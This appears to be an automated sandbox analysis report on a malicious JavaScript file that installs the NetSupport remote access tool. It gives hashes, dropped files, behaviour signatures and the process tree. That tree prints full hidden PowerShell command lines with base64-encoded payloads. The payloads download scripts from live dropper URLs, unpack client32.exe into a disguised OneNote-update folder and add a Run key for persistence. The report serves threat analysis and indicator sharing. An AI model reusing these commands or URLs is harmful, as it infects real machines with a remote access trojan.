Analysis

  • max time kernel
    135s
  • max time network
    144s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/05/2023, 10:19

General

  • Target

    doc4978316.js

  • Size

    35KB

  • MD5

    c21cf0ea00b1fd7e53fa14b55dd1be82

  • SHA1

    aff249ddfc8d8fac75d0bf040579cf32e0d50e2a

  • SHA256

    c9e6dc44db59f1883e850babac21890e5723d2627a623c47f709e3bb7d073e35

  • SHA512

    82e4004f78f1aef5dfd1ae83b6dec4422e0960d15b6bb5f845ae7af13617fa9349046ce74be0b893de2e139ee6c93106048f0f2be70199d6567095c14d1ae618

  • SSDEEP

    384:Wj9safdV7zZ/iRRil5Vxy67U2j0etD/1qQMmFcDpOlkjQSHnY4bvwn3QmvCBHx5H:WCWZERq02j0I/1YH9gSRvww7EjzG1

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://birikina.it/files/f1.ps1

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://alnama.net/realty/license.php

Signatures

  • NetSupport

    NetSupport is a remote access tool sold as a legitimate system administration software.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\doc4978316.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1220
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c PoWersHEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGkAcgBpAGsAaQBuAGEALgBpAHQALwBmAGkAbABlAHMALwBmADEALgBwAHMAMQAiACkA
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4960
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        PoWersHEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBiAGkAcgBpAGsAaQBuAGEALgBpAHQALwBmAGkAbABlAHMALwBmADEALgBwAHMAMQAiACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1712
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -ep bypass -windowstyle minimized -enc YwBkACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAOwAgACQAbABpAG4AawA9ACcAaAB0AHQAcABzADoALwAvAGEAbABuAGEAbQBhAC4AbgBlAHQALwByAGUAYQBsAHQAeQAvAGwAaQBjAGUAbgBzAGUALgBwAGgAcAAnADsAIAAkAHIAbgB1AG0APQBHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBtAGkAbgBpAG0AdQBtACAANQAgAC0AbQBhAHgAaQBtAHUAbQAgADkAOwAgACQAcgByAG4AdQBtAD0ARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0AbQBpAG4AaQBtAHUAbQAgADEAMAAyADQAIAAtAG0AYQB4AGkAbQB1AG0AIAA5ADkAOQA5ADsAIAAkAGMAaAByAHMAPQAnAGEAYgBjAGQAZQBmAGcAaABpAGoAawBsAG0AbgBvAHAAcwB0AHUAdgB3AHgAeQB6AEEAQgBDAEQARQBGAEcASABJAEoASwBMAE0ATgBPAFAAUgBTAFQAVQBWAFcAWABZAFoAJwA7ACAAJAByAHMAdAByAD0AJwAnADsAIAAkAHIAYQBuAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUgBhAG4AZABvAG0AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAcgBuAHUAbQA7ACAAJABpACsAKwApACAAewAkAHIAcwB0AHIAKwA9ACQAYwBoAHIAcwBbACQAcgBhAG4ALgBuAGUAeAB0ACgAMAAsACAAJABjAGgAcgBzAC4ATABlAG4AZwB0AGgAKQBdAH0AOwAgACQAcgB6AGkAcAA9ACQAcgBzAHQAcgArACcALgB6AGkAcAAnADsAIAAkAHAAYQB0AGgAPQAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQArACcAXAAnACsAJAByAHoAaQBwADsAIAAkAHAAegBpAHAAPQAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQArACcAXABPAE4ARQBOADAAVABFAHUAcABkAGEAdABlAF8AJwArACQAcgByAG4AdQBtADsAIABTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIAAkAGwAaQBuAGsAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQAUABhAHQAaAA7ACAAZQB4AHAAYQBuAGQALQBhAHIAYwBoAGkAdgBlACAALQBwAGEAdABoACAAJABwAGEAdABoACAALQBkAGUAcwB0AGkAbgBhAHQAaQBvAG4AcABhAHQAaAAgACQAcAB6AGkAcAA7ACAAJABGAE8ATABEAD0ARwBlAHQALQBJAHQAZQBtACAAJABwAHoAaQBwACAALQBGAG8AcgBjAGUAOwAgACQARgBPAEwARAAuAGEAdAB0AHIAaQBiAHUAdABlAHMAPQAnAEgAaQBkAGQAZQBuACcAOwAgAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0AcABhAHQAaAAgACQAcABhAHQAaAA7ACAAYwBkACAAJABwAHoAaQBwADsAIABzAHQAYQByAHQAIABjAGwAaQBlAG4AdAAzADIALgBlAHgAZQA7ACAAJABmAHMAdAByAD0AJABwAHoAaQBwACsAJwBcAGMAbABpAGUAbgB0ADMAMgAuAGUAeABlACcAOwAgACQAcgBuAG0APQAnAE8ATgBFAE4AMABUAEUAdQBwAGQAYQB0AGUAXwAnACsAJAByAHIAbgB1AG0AOwAgAE4AZQB3AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAFAAYQB0AGgAIAAnAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAEMAdQByAHIAZQBuAHQAVgBlAHIAcwBpAG8AbgBcAFIAdQBuACcAIAAtAE4AYQBtAGUAIAAkAHIAbgBtACAALQBWAGEAbAB1AGUAIAAkAGYAcwB0AHIAIAAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIAAnAFMAdAByAGkAbgBnACcAOwA=
          4⤵
          • Adds Run key to start application
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3444
          • C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\client32.exe
            "C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\client32.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:2992

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    dd6085af47993de750fc1bba39e02d75

    SHA1

    c83d868735b3170ae109cacc1163ba647ab3e5b2

    SHA256

    847924eed8197b381f6dfe87f2f1ad3d6a4ea542e5afe291e3e5144419ba28b4

    SHA512

    9d50ba6331a1c5b1ae6b38bdee8e8bf871d63c3245b78b40d6287b9730e862bd731f99e1956ddf28db819592b35b005824b078535de2a0003523ebd8ab62c59d

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    6c4805e00673bef922d51b1a7137028f

    SHA1

    0eabb38482d1733dd85a2af9c5342c2cafcd41eb

    SHA256

    7af7d25fe7e3bb8b75bcffaa8573e2e9af7e7f70a840fa8bc0196d0ab396ecdd

    SHA512

    eb6dacb4e0da6f45028ebf65ebffdc6aecdb6a34a582bb69aa5836ef02a7115f6b500ef2dd6a2c2be994ec9d0cbbff564368724593666105d3d4475441830cc1

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n3snsqmy.1yk.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\HTCTL32.DLL

    Filesize

    320KB

    MD5

    c94005d2dcd2a54e40510344e0bb9435

    SHA1

    55b4a1620c5d0113811242c20bd9870a1e31d542

    SHA256

    3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

    SHA512

    2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

  • C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\HTCTL32.DLL

    Filesize

    320KB

    MD5

    c94005d2dcd2a54e40510344e0bb9435

    SHA1

    55b4a1620c5d0113811242c20bd9870a1e31d542

    SHA256

    3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

    SHA512

    2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

  • C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\MSVCR100.dll

    Filesize

    755KB

    MD5

    0e37fbfa79d349d672456923ec5fbbe3

    SHA1

    4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

    SHA256

    8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

    SHA512

    2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

  • C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\NSM.LIC

    Filesize

    258B

    MD5

    1b41e64c60ca9dfadeb063cd822ab089

    SHA1

    abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

    SHA256

    f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

    SHA512

    c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

  • C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\PCICHEK.DLL

    Filesize

    18KB

    MD5

    104b30fef04433a2d2fd1d5f99f179fe

    SHA1

    ecb08e224a2f2772d1e53675bedc4b2c50485a41

    SHA256

    956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

    SHA512

    5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

  • C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\PCICL32.DLL

    Filesize

    3.6MB

    MD5

    d3d39180e85700f72aaae25e40c125ff

    SHA1

    f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

    SHA256

    38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

    SHA512

    471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

  • C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\PCICL32.dll

    Filesize

    3.6MB

    MD5

    d3d39180e85700f72aaae25e40c125ff

    SHA1

    f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

    SHA256

    38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

    SHA512

    471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

  • C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\client32.exe

    Filesize

    104KB

    MD5

    f76954b68cc390f8009f1a052283a740

    SHA1

    3112a39aad950045d6422fb2abe98bed05931e6c

    SHA256

    63315df7981130853d75dc753e5776bdf371811bcfce351557c1e45afdd1ebfb

    SHA512

    d3aea0867b488161f62e43e7c250ad3917713b8b183139fb6e06c71594fb0cec769e1494b7cc257117992ae4aa891e056f99c25431ae19f032b1ba779051a880

  • C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\client32.exe

    Filesize

    104KB

    MD5

    f76954b68cc390f8009f1a052283a740

    SHA1

    3112a39aad950045d6422fb2abe98bed05931e6c

    SHA256

    63315df7981130853d75dc753e5776bdf371811bcfce351557c1e45afdd1ebfb

    SHA512

    d3aea0867b488161f62e43e7c250ad3917713b8b183139fb6e06c71594fb0cec769e1494b7cc257117992ae4aa891e056f99c25431ae19f032b1ba779051a880

  • C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\client32.exe

    Filesize

    104KB

    MD5

    f76954b68cc390f8009f1a052283a740

    SHA1

    3112a39aad950045d6422fb2abe98bed05931e6c

    SHA256

    63315df7981130853d75dc753e5776bdf371811bcfce351557c1e45afdd1ebfb

    SHA512

    d3aea0867b488161f62e43e7c250ad3917713b8b183139fb6e06c71594fb0cec769e1494b7cc257117992ae4aa891e056f99c25431ae19f032b1ba779051a880

  • C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\client32.ini

    Filesize

    919B

    MD5

    1c5dde5b0e8f8d65ba782a144129c78f

    SHA1

    014ed23957d9fd5ddbee8e8a5782b881ebcb2602

    SHA256

    ebf387d80981c731d812bcb8e1a1d48fdb43e81c3bc206fda05753b6a3dc8d0b

    SHA512

    226ab2c1a79107e01563e14e9a77c98ac09aec2181cdf057533e77cd20a5e48885b896c6bd97a81dea030aee12e2cb055d58fe9310edf3459e277d2279ab6c9b

  • C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\msvcr100.dll

    Filesize

    755KB

    MD5

    0e37fbfa79d349d672456923ec5fbbe3

    SHA1

    4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

    SHA256

    8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

    SHA512

    2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

  • C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\msvcr100.dll

    Filesize

    755KB

    MD5

    0e37fbfa79d349d672456923ec5fbbe3

    SHA1

    4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

    SHA256

    8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

    SHA512

    2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

  • C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\pcicapi.dll

    Filesize

    32KB

    MD5

    34dfb87e4200d852d1fb45dc48f93cfc

    SHA1

    35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

    SHA256

    2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

    SHA512

    f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

  • C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\pcicapi.dll

    Filesize

    32KB

    MD5

    34dfb87e4200d852d1fb45dc48f93cfc

    SHA1

    35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

    SHA256

    2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

    SHA512

    f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

  • C:\Users\Admin\AppData\Roaming\ONEN0TEupdate_8237\pcichek.dll

    Filesize

    18KB

    MD5

    104b30fef04433a2d2fd1d5f99f179fe

    SHA1

    ecb08e224a2f2772d1e53675bedc4b2c50485a41

    SHA256

    956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

    SHA512

    5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

  • memory/1712-161-0x0000020169070000-0x0000020169080000-memory.dmp

    Filesize

    64KB

  • memory/1712-160-0x0000020169070000-0x0000020169080000-memory.dmp

    Filesize

    64KB

  • memory/1712-146-0x0000020169070000-0x0000020169080000-memory.dmp

    Filesize

    64KB

  • memory/1712-144-0x0000020169070000-0x0000020169080000-memory.dmp

    Filesize

    64KB

  • memory/1712-145-0x0000020169070000-0x0000020169080000-memory.dmp

    Filesize

    64KB

  • memory/1712-162-0x0000020169070000-0x0000020169080000-memory.dmp

    Filesize

    64KB

  • memory/1712-143-0x000002016B260000-0x000002016B282000-memory.dmp

    Filesize

    136KB

  • memory/3444-159-0x000001749FEC0000-0x000001749FED0000-memory.dmp

    Filesize

    64KB

  • memory/3444-202-0x000001749FEC0000-0x000001749FED0000-memory.dmp

    Filesize

    64KB

  • memory/3444-201-0x000001749FEC0000-0x000001749FED0000-memory.dmp

    Filesize

    64KB

  • memory/3444-200-0x000001749FEC0000-0x000001749FED0000-memory.dmp

    Filesize

    64KB

  • memory/3444-164-0x00000174BC230000-0x00000174BC23A000-memory.dmp

    Filesize

    40KB

  • memory/3444-163-0x00000174BC250000-0x00000174BC262000-memory.dmp

    Filesize

    72KB

  • memory/3444-158-0x000001749FEC0000-0x000001749FED0000-memory.dmp

    Filesize

    64KB

  • memory/3444-157-0x000001749FEC0000-0x000001749FED0000-memory.dmp

    Filesize

    64KB

  • memory/3444-156-0x00000174BC210000-0x00000174BC224000-memory.dmp

    Filesize

    80KB